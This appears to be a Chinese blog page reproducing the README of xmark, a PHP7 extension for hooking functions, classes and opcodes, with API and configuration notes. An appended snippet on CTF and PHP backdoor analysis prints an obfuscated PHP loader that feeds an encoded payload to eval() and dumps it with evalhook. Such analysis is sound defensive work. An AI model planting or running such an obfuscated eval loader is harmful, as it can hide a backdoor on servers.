php 函数hook,一个能够 Hook 绝大多数函数/类、部分 opcode 的 PHP7 扩展

xmark

68747470733a2f2f7472617669732d63692e6f72672f66617465302f786d61726b2e7376673f6272616e63683d6d617374657268747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f6769746875622f66617465302f786d61726b3f6272616e63683d6d6173746572267376673d7472756568747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f66617465302f786d61726b2e737667

Table of Contents

Introduction

xmark is a PHP7 extension that provides the following features:

It can mark string variables

It can hook most functions/classes

It can Hook parts of the opcodes

Installation

linux:

phpize

./configure

make

windows

Example

example:

function var_dump(...$args) {

echo "in custom var_dump\n";

_var_dump(...$args);

}

var_dump("test");

run:

php -d "extension_dir=/tmp/modules/" -d "extension=xmark.so" -d "xmark.enable=1" -d "xmark.rename_functions=var_dump:_var_dump" test.php

result:

de16665b7674a08a46dd410e08d70034.png

API

mark string variables

bool xmark(string &$str);

check if the string variable is marked

bool xcheck(string &$str);

clear tag on string variables

bool xclear(string &$str);

change the name of the user function

bool xrename_function(string $old_name, string $new_name);

change the name of the user class

bool xrename_class(string $old_name, string $new_name);

register opcode callback

bool xregister_opcode_callback(int $opcode, string $callback);

$callback must be a function name, not a class method, or any other callable。

OPCODE

each opcode callback has a different function description, so let's explain it one by one。

XMARK_ECHO

void echo_handler(string $string)

XMARK_EXIT

void exit_handler(string $string)

XMARK_INIT_METHOD_CALL

void init_method_call_handler(string $funcname)

XMARK_INIT_USER_CALL

void init_user_call_handler(string $funcname)

XMARK_INIT_DYNAMIC_CALL

void init_dynamic_call_handler(string $funcname)

XMARK_INCLUDE_OR_EVAL

void include_or_eval_handler(string $code_or_file)

XMARK_CONCAT

string concat_handler(string $param1, string $param2)

XMARK_FAST_CONCAT

string fast_concat_handler(string $param1, string $param2)

XMARK_ASSIGN_CONCAT

string assign_concat_handler(string $param1, string $param2)

XMARK_ROPE_END

void rope_end_handler(array $params)

XMARK_DO_FCALL

void do_fcall(string $call, array $params)

XMARK_DO_ICALL

void do_icall(string $call, array $params)

XMARK_DO_UCALL

void do_ucall(string $call, array $params)

XMARK_DO_FCALL_BY_NAME

void do_fcall_by_name(string $call, array $params)

PHP configuration

enable xmark extension:

xmark.enable = 1

enable rename PHP user functions/classes (do not enable this in production envri)

xmark.enable_rename = 1

rename PHP internal functions:

xmark.rename_functions="

phpinfo:my_phpinfo,

system:my_system

"

rename PHP internal classes:

xmark.rename_classes="

PDO:my_POD,

yyy:_yyy

"

Note

str_replace

str_replace function description:

mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

$count is a reference parameter,so the correct way to hook str_replace is as follows:

function str_replace($search, $replace, $subject, &$count=NULL) {

return call_user_func_array("origin_str_replace", array($search, $replace, $subject, &$count));

}

str_replace("a", "e", "hallo world", $count);

var_dump($count);

hook other function with reference parameters are also done as above.

strval

xmark can not hook strval function. because strval is optimized directly in the compile stage, and does not need to be searched by EG(function_table), other similar functions zend_compile.c

getallheaders

xmark can not hook getallheaders function. because getallheaders function is inside the sapi_module, sapi_module initialization time is later than php_extension and zend_extension, so the functions in sapi_module can not be hooked with xmark,fortunately, there are only a few functions in sapi_module.

extract

xmark can hook extract function, but it will affect the original function of extract. because extract will change its own variable scope, extract will look up the last user function int the call stack and then modify its variable scope, when we rename extract to another name and write another extract function in PHP, the extract function we wrote becomes the last user function in the call stack, so extract won't work properly.

if you just need to monitor the calls to these functions, then I recommend using opcode callback.

array_map

xmark can also hook array_map function,but it may also affect the original function of array_map. because when array_map calls the callback, it will determine whether the function calling array_map has permission to call the corresponding callback.

example:

function test($callable, $arr) {

array_map($callable, $arr);

}

class A {

public function hi() {

test(array($this, 'hello'), array(1, 2));

}

private function hello() {

echo "hello\n";

}

}

$a = new A();

$a->hi();

when array_map is called, zend_get_executed_scope will look up the last use function in the call stack and then determine if the user function has permission to call the callback. so it may cause the the call to array_map to fail. the same problem occurs in other internal functions that accept callback parameter.

in summary, if a function depends on or will change the scope of the caller, then you should carefully determine whether the function can still be hooked.

Ref

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF/php后门分析中经常遇到加密压缩过的PHP文件, <? $O00OO0=urldecode("n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iQk9DWm1LUHF5bkR4QWJmR05FdW90c2pkUlljcmlKTXdWZ0ZVenZYTGthVFNwSWxoZUhRV1dITmZhQ0d5b3RzanBRTFN3WXpyYmx4aERjQXZUT1VQUklpdW1aSmVrbktkcWdNVlhGRUJHczh3TmFWTWNCRE1BVElURTI5emhTUnpoTjEwWEpXTUhUVzBmSlYwZTJWMFFCUDdnU3dyY0pPbWZKRTloSkRhZUtJVENLbElzRXFxZlRJVmZhTWxmUjlNWFNNbWhGVXJPbzRaZlNpMGNkOXFRdHcwY0JqbGVhalpjMmx0Q2Rrd050bHdOVHBJZ05XcmZCaWtmSmdyZ2tqWmMyaTBuQjl6SFRwWm5CNW1oU2lsUU45cVFhRE1YTjVQbkZwVENLbHdOVHBJZ05XTVhTTTBIUDBDTEUwQ2ZTUmFuQjVNQ05oV3VpV0x1azlHUk5BbGdGdzBBTTlvZkpXbGNCd01DTmhBSk5BbGdOQVpPb1BJZlNNb1FhaWJmZFZMSjBmT0tZUkxKb2txQ0tsd05UOHlnSEI2TUhYdXlIQkV4WFh0bEZoM2hvNVZmUzFxUWE0emMyNHllUDBD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PMDAwLDAsJE9PMDAwMCkpKSk7")); ?> 编译环境 ===================================================================== PHP : /usr/bin/php7.2 PHP_SAPI : cli PHP_VERSION : 7.2.9-1 ZEND_VERSION: 3.2.0 PHP_OS : Linux - Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64 INI actual : /root/temp/evalhook/tmp-php.ini More .INIs : CWD : /root/temp/evalhook Extra dirs : VALGRIND : Not used ===================================================================== TIME START 2019-01-04 07:46:12 ===================================================================== php -d extension=evalhook.so encoded_script.php 可直接dump大部分加密php文件中eval中的内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值